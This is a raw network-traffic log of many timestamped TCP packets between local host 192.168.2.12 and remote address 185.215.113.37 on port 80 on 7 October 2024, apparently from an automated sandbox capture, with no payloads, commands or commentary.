Oct 7, 2024 18:03:27.017929077 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.017939091 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.017944098 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.017950058 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.017962933 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.017966986 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.017976046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.017987967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.017997026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.018006086 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.018007994 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.018021107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.018023014 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.018033981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.018038988 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.018054962 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.018079996 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.018876076 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.018887997 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.018898010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.018908024 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.018914938 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.018918991 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.018929958 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.018933058 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.018940926 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.018953085 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.018963099 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.018971920 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.018973112 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.018985987 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.018996954 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.018999100 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.019015074 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.019032955 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.019547939 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.019560099 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.019570112 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.019579887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.019589901 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.019593954 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.019601107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.019612074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.019618988 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.019623041 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.019634962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.019639969 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.019656897 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.019669056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.019670963 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.019680977 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.019702911 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.019721985 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.020488024 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.020502090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.020514011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.020524979 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.020530939 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.020535946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.020550013 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.020551920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.020564079 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.020575047 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.020576954 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.020586967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.020592928 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.020592928 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.020598888 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.020673990 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.099684000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.099740028 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.099798918 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.165611982 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.165668964 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.165673971 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.165694952 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.165704012 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.165720940 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.165724039 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.165747881 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.165772915 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.165786982 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.165805101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.165808916 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.165841103 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.166028023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.166053057 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.166074991 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.166079044 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.166090965 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.166104078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.166127920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.166140079 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.166153908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.166167974 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.166177988 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.166192055 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.166203022 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.166212082 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.166229010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.166235924 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.166263103 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.166568041 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.166594028 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.166630983 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.166655064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.166657925 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.166670084 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.166678905 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.166692972 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.166703939 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.166718006 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.166728973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.166742086 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.166753054 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.166770935 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.166779041 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.166788101 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.166804075 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.166829109 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.166838884 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.166852951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.166865110 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.166877031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.166891098 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.166909933 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.167884111 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.167912960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.167937040 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.167937040 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.167960882 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.167962074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.167975903 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.167988062 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.168011904 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.168030024 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.168035984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.168052912 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.168060064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.168083906 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.168085098 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.168097973 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.168109894 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.168128967 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.168134928 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.168147087 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.168160915 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.168173075 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.168185949 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.168205976 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.168226004 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.168663025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.168700933 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.168709993 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.168725967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.168732882 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.168759108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.168765068 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.168788910 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.168793917 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.168816090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.168823957 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.168840885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.168853998 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.168864012 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.168873072 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.168889046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.168900013 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.168912888 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.168936014 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.168955088 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.168962002 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.168982029 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.168982983 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.169006109 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.169008017 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.169023037 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.169039011 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.169464111 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.169490099 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.169506073 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.169512987 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.169523954 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.169606924 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.169631004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.169631958 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.169650078 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.169656992 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.169675112 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.169681072 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.169693947 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.169703960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.169717073 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.169728041 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.169753075 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.169763088 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.169775009 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.169799089 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.169823885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.169823885 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.169823885 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.169847012 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.169847012 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.169863939 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.169886112 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.170438051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.170463085 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.170486927 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.170504093 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.170516014 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.170522928 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.170548916 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.274467945 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.274494886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.274506092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.274550915 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.274593115 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.274627924 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.274640083 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.274648905 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.274661064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.274662018 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.274682999 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.274698973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.274707079 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.274734974 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.275187016 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.275198936 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.275208950 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.275218964 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.275228977 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.275235891 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.275239944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.275250912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.275260925 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.275266886 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.275271893 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.275283098 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.275285959 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.275294065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.275302887 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.275306940 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.275322914 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.275341034 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.275662899 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.275674105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.275702953 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.275717974 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.276277065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276309967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276319981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276321888 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.276340008 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.276357889 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.276416063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276427984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276438951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276451111 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276453018 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.276470900 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.276496887 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.276551008 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276562929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276572943 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276582956 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276592970 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276596069 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.276604891 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276617050 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276623964 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.276628017 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276640892 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276643038 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.276679993 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276690006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276700020 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276702881 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.276711941 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276720047 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.276736021 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.276762962 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.276801109 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276812077 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276822090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276833057 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276833057 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.276848078 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.276859999 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276866913 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.276871920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276882887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276891947 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276901960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.276904106 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.276930094 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.277848959 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.277861118 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.277870893 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.277880907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.277892113 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.277899027 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.277903080 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.277915001 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.277915001 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.277928114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.277932882 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.277940035 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.277947903 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.277951956 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.277964115 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.277973890 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.277975082 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.277985096 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.277995110 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.278000116 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.278018951 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.278033972 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.278695107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.278709888 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.278744936 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.278764009 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.358412981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.358478069 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.454302073 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.459999084 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.669280052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.669430017 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.669440985 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.669506073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.669509888 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:27.669517040 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.669529915 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:27.669544935 CEST	80	49711	185.215.113.37	192.168.2.12
